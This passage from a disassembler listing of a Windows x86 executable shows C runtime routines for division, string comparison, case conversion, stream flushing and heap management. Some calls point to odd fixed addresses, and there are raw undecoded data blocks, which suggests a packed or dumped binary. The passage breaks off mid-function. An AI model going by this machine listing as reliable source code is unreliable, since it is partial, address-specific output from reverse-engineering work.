mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DDC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DDDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DDDD: ; CODE XREF: sub_41DDA0+27j
or eax, eax
jnz short loc_41DDF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DE3A
; ---------------------------------------------------------------------------
loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DE07: ; CODE XREF: sub_41DDA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DE07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DE35
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DE35
jb short loc_41DE36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DE36
loc_41DE35: ; CODE XREF: sub_41DDA0+85j
; sub_41DDA0+8Bj
dec esi
loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj
; sub_41DDA0+93j
xor edx, edx
mov eax, esi
loc_41DE3A: ; CODE XREF: sub_41DDA0+57j
dec edi
jnz short loc_41DE44
neg edx
neg eax
sbb edx, 0
loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DDA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE4A proc near ; CODE XREF: sub_417493+BFp
; sub_417493+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBE84
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DE7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DEE5
loc_41DE66: ; CODE XREF: sub_41DE4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DE77
cmp cl, 7Ah
jg short loc_41DE77
sub cl, 20h
mov [edx], cl
loc_41DE77: ; CODE XREF: sub_41DE4A+21j
; sub_41DE4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DE66
jmp short loc_41DEE5
; ---------------------------------------------------------------------------
loc_41DE7E: ; CODE XREF: sub_41DE4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_4232A8
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DED7
push edi
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DED7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41DED7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C890
pop ecx
pop ecx
loc_41DED7: ; CODE XREF: sub_41DE4A+53j
; sub_41DE4A+61j ...
push [ebp+var_4]
call sub_41BA91
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj
; sub_41DE4A+32j
pop ebx
leave
retn
sub_41DE4A endp
; =============== S U B R O U T I N E =======================================
sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DEFF
push 4
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DEFF: ; CODE XREF: sub_41DEE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DEE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p
; sub_420DB0+88p ...
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DF27
push 8
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DF27: ; CODE XREF: sub_41DF10+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DF8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DF8D
test eax, 1
jz short loc_41DF6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DFBA
inc esi
inc edi
dec eax
jz short loc_41DF8A
loc_41DF6D: ; CODE XREF: sub_41DF40+20j
; sub_41DF40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DFBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DFBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DF6D
loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj
; sub_41DF40+84j
pop edi
pop esi
locret_41DF8C: ; CODE XREF: sub_41DF40+6j
retn
; ---------------------------------------------------------------------------
loc_41DF8D: ; CODE XREF: sub_41DF40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DFC2
repe cmpsd
jz short loc_41DFC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
jnz short loc_41DFB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
loc_41DFB5: ; CODE XREF: sub_41DF40+63j
; sub_41DF40+67j ...
mov eax, 0
loc_41DFBA: ; CODE XREF: sub_41DF40+26j
; sub_41DF40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DFC2: ; CODE XREF: sub_41DF40+55j
; sub_41DF40+59j
test eax, eax
jz short loc_41DF8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
cmp dh, ch
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DFB5
dec eax
loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj
; sub_41DF40+96j
pop edi
pop esi
retn
sub_41DF40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p
; sub_4185D3+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
push esi
push edi
jnz short loc_41E019
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41E0B2
cmp eax, 5Ah
jg loc_41E0B2
add eax, 20h
jmp loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E019: ; CODE XREF: sub_41DFEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41E04D
cmp dword_43D084, esi
jle short loc_41E03B
push esi
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41E045
; ---------------------------------------------------------------------------
loc_41E03B: ; CODE XREF: sub_41DFEC+42j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, esi
loc_41E045: ; CODE XREF: sub_41DFEC+4Dj
test eax, eax
jnz short loc_41E04D
loc_41E049: ; CODE XREF: sub_41DFEC+ADj
mov eax, ebx
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj
; sub_41DFEC+5Bj
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E071
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41E07A
; ---------------------------------------------------------------------------
loc_41E071: ; CODE XREF: sub_41DFEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41E07A: ; CODE XREF: sub_41DFEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41E049
cmp eax, esi
jnz short loc_41E0A5
movzx eax, [ebp+var_4]
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41E0B2: ; CODE XREF: sub_41DFEC+16j
; sub_41DFEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DFEC endp
; =============== S U B R O U T I N E =======================================
sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp
; sub_419AE0+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41E0CE
loc_41E0C4: ; CODE XREF: sub_41E0B7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41E0C4
loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41E0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp
; sub_418AF1+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E1A1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E1CE
cmp dword_4DBE84, esi
jnz short loc_41E125
cmp edi, esi
jbe loc_41E1CE
loc_41E104: ; CODE XREF: sub_41E0D4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E1CE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E104
jmp loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E125: ; CODE XREF: sub_41E0D4+26j
mov ebx, [ebp+arg_4]
mov esi, dword_4270E8
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBE94
call esi
test eax, eax
jnz loc_41E1CD
nop
call near ptr 26C0CC8h
cmp eax, 7Ah
jz short loc_41E15F
loc_41E150: ; CODE XREF: sub_41E0D4+CBj
; sub_41E0D4+F7j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E167: ; CODE XREF: sub_41E0D4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E189
mov edx, off_43CE78
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E17E
inc eax
loc_41E17E: ; CODE XREF: sub_41E0D4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E167
loc_41E189: ; CODE XREF: sub_41E0D4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBE94
call esi
test eax, eax
jnz short loc_41E1CE
jmp short loc_41E150
; ---------------------------------------------------------------------------
loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj
cmp dword_4DBE84, esi
jnz short loc_41E1B4
push [ebp+arg_4]
call sub_41B9C0
pop ecx
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBE94
nop
call near ptr 2730000h
cmp eax, esi
jz short loc_41E150
loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj
dec eax
loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj
; sub_41E0D4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E0D4 endp
; ---------------------------------------------------------------------------
db 9Ch
dd 0CA7726A5h, 24848F31h, 0F5A9F29Ch, 0A164E34Fh, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 0C9E890E8h, 33024A39h, 89D48AD2h
dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 0C4E8FC75h, 90000058h, 4A3942E8h, 0D38CA302h, 82E8004Dh
dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h
dd 89FFFFDEh, 458DD075h, 0E89050A4h, 24A1D88h, 53FEE8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 0B6E89056h, 50022B22h, 0FE2F80E8h, 0A04589FFh
dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p
; ___:00423721p ...
arg_0 = dword ptr 4
cmp dword_4DBE3C, 1
jnz short loc_41E2D7
call sub_423D98
loc_41E2D7: ; CODE XREF: sub_41E2C9+7j
push [esp+arg_0]
call sub_423DD1
push 0FFh
call off_43AE40
pop ecx
pop ecx
retn
sub_41E2C9 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DBE3C
dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h
dd 0A579A4E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap
; sub_42423B+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DD140
jnb loc_41E3AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E3AC
push edi
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E38B
cmp edi, 1
jz short loc_41E359
cmp edi, 2
jnz short loc_41E36F
loc_41E359: ; CODE XREF: sub_41E312+40j
push 2
call sub_4240AA
push 1
mov ebp, eax
call sub_4240AA
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E38B
loc_41E36F: ; CODE XREF: sub_41E312+45j
push edi
call sub_4240AA
pop ecx
push eax
nop
call near ptr 26A0000h
test eax, eax
jnz short loc_41E38B
nop
call near ptr 26C0CC8h
mov ebp, eax
jmp short loc_41E38D
; ---------------------------------------------------------------------------
loc_41E38B: ; CODE XREF: sub_41E312+3Bj
; sub_41E312+5Bj ...
xor ebp, ebp
loc_41E38D: ; CODE XREF: sub_41E312+77j
push edi
call sub_424030
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E3A8
push ebp
call sub_420C7F
pop ecx
jmp short loc_41E3BD
; ---------------------------------------------------------------------------
loc_41E3A8: ; CODE XREF: sub_41E312+8Bj
xor eax, eax
jmp short loc_41E3C0
; ---------------------------------------------------------------------------
loc_41E3AC: ; CODE XREF: sub_41E312+Ej
; sub_41E312+2Fj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41E3BD: ; CODE XREF: sub_41E312+94j
or eax, 0FFFFFFFFh
loc_41E3C0: ; CODE XREF: sub_41E312+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E312 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E3EE
test al, 8
jz short loc_41E3EE
push dword ptr [esi+8]
call sub_41BA91
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj
; sub_41E3C5+Ej
pop esi
retn
sub_41E3C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp
; sub_41E490+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E402
push esi
call sub_41E490
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E402: ; CODE XREF: sub_41E3F0+7j
push esi
call sub_41E42B
test eax, eax
pop ecx
jz short loc_41E412
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E412: ; CODE XREF: sub_41E3F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E427
push dword ptr [esi+10h]
call sub_4240E7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E427: ; CODE XREF: sub_41E3F0+26j
xor eax, eax
pop esi
retn
sub_41E3F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap
; ___:0041DAC2p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E478
test ax, 108h
jz short loc_41E478
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E478
push edi
push eax
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, edi
jnz short loc_41E471
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E478
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E478
; ---------------------------------------------------------------------------
loc_41E471: ; CODE XREF: sub_41E42B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E478: ; CODE XREF: sub_41E42B+14j
; sub_41E42B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E42B endp
; =============== S U B R O U T I N E =======================================
sub_41E487 proc near ; CODE XREF: sub_4241E3p
push 1
call sub_41E490
pop ecx
retn
sub_41E487 endp
; =============== S U B R O U T I N E =======================================
sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap
; sub_41E487+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DD020, esi
jle short loc_41E4EE
loc_41E4A1: ; CODE XREF: sub_41E490+5Cj
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E4E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E4E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E4CB
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E4E5
inc ebx
jmp short loc_41E4E5
; ---------------------------------------------------------------------------
loc_41E4CB: ; CODE XREF: sub_41E490+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E4E5
test cl, 2
jz short loc_41E4E5
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E4E5
or edi, eax
loc_41E4E5: ; CODE XREF: sub_41E490+1Bj
; sub_41E490+23j ...
inc esi
cmp esi, dword_4DD020
jl short loc_41E4A1
loc_41E4EE: ; CODE XREF: sub_41E490+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E4F9
mov eax, edi
loc_41E4F9: ; CODE XREF: sub_41E490+65j
pop edi
pop esi
pop ebx
retn
sub_41E490 endp
; =============== S U B R O U T I N E =======================================
sub_41E4FD proc near ; CODE XREF: ___:0041E660p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
nop
call near ptr 26D0551h
cmp word ptr [eax], 5A4Dh
jnz short loc_41E528
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E528
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E528: ; CODE XREF: sub_41E4FD+15j
; sub_41E4FD+1Cj
pop esi
retn
sub_41E4FD endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C500
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
call near ptr 27105EAh
nop
test eax, eax
jz short loc_41E56D
cmp dword ptr [ebp-88h], 2
jnz short loc_41E56D
cmp dword ptr [ebp-94h], 5
jb short loc_41E56D
push 1
pop eax
jmp loc_41E66F
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: ___:0041E551j
; ___:0041E55Aj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
nop
call near ptr 28D0000h
test eax, eax
jz loc_41E65C
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41E5AF
loc_41E59C: ; CODE XREF: ___:0041E5ADj
mov al, [ecx]
cmp al, 61h
jl short loc_41E5AA
cmp al, 7Ah
jg short loc_41E5AA
sub al, 20h
mov [ecx], al
loc_41E5AA: ; CODE XREF: ___:0041E5A0j
; ___:0041E5A4j
inc ecx
cmp [ecx], bl
jnz short loc_41E59C
loc_41E5AF: ; CODE XREF: ___:0041E59Aj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C850
add esp, 0Ch
test eax, eax
jnz short loc_41E5D1
lea eax, [ebp-122Ch]
jmp short loc_41E61A
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: ___:0041E5C7j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 26B0000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41E605
loc_41E5F2: ; CODE XREF: ___:0041E603j
mov al, [ecx]
cmp al, 61h
jl short loc_41E600
cmp al, 7Ah
jg short loc_41E600
sub al, 20h
mov [ecx], al
loc_41E600: ; CODE XREF: ___:0041E5F6j
; ___:0041E5FAj
inc ecx
cmp [ecx], bl
jnz short loc_41E5F2
loc_41E605: ; CODE XREF: ___:0041E5F0j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41C2E0
pop ecx
pop ecx
loc_41E61A: ; CODE XREF: ___:0041E5CFj
cmp eax, ebx
jz short loc_41E65C
push 2Ch
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E65C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E641
loc_41E633: ; CODE XREF: ___:0041E63Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41E63C
mov [ecx], bl
jmp short loc_41E63D
; ---------------------------------------------------------------------------
loc_41E63C: ; CODE XREF: ___:0041E636j
inc ecx
loc_41E63D: ; CODE XREF: ___:0041E63Aj
cmp [ecx], bl
jnz short loc_41E633
loc_41E641: ; CODE XREF: ___:0041E631j
push 0Ah
push ebx
push eax
call sub_41C586
add esp, 0Ch
cmp eax, 2
jz short loc_41E66F
cmp eax, 3
jz short loc_41E66F
cmp eax, 1
jz short loc_41E66F
loc_41E65C: ; CODE XREF: ___:0041E586j
; ___:0041E61Cj ...
lea eax, [ebp-4]
push eax
call sub_41E4FD
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E66F: ; CODE XREF: ___:0041E568j
; ___:0041E650j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24C1978h
dd 0A3C08590h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h
dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0B8E8004Dh
dd 90024B26h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
dd 191EE890h, 0C085023Eh, 4DD37CA3h, 0C3017500h, 4244C8Bh
dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E717 proc near ; CODE XREF: sub_41BA91+17p
; sub_41BBE2+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DD378
lea ecx, [eax+eax*4]
mov eax, dword_4DD37C
lea ecx, [eax+ecx*4]
loc_41E727: ; CODE XREF: sub_41E717+26j
cmp eax, ecx
jnb short loc_41E73F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E741
add eax, 14h
jmp short loc_41E727
; ---------------------------------------------------------------------------
loc_41E73F: ; CODE XREF: sub_41E717+12j
xor eax, eax
locret_41E741: ; CODE XREF: sub_41E717+21j
retn
sub_41E717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E742 proc near ; CODE XREF: sub_41BA91+23p
; sub_41BBE2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41EA66
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E818
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E7A6
push 3Fh
pop edx
loc_41E7A6: ; CODE XREF: sub_41E742+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E7FA
cmp edx, 20h
jnb short loc_41E7D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E7F2
; ---------------------------------------------------------------------------
loc_41E7D1: ; CODE XREF: sub_41E742+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E7F2: ; CODE XREF: sub_41E742+86j
; sub_41E742+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E7FD
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E742+6Aj
mov ecx, [ebp+var_4]
loc_41E7FD: ; CODE XREF: sub_41E742+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E818: ; CODE XREF: sub_41E742+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E826
push 3Fh
pop edx
loc_41E826: ; CODE XREF: sub_41E742+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E8C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E84B
mov ebx, esi
loc_41E84B: ; CODE XREF: sub_41E742+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
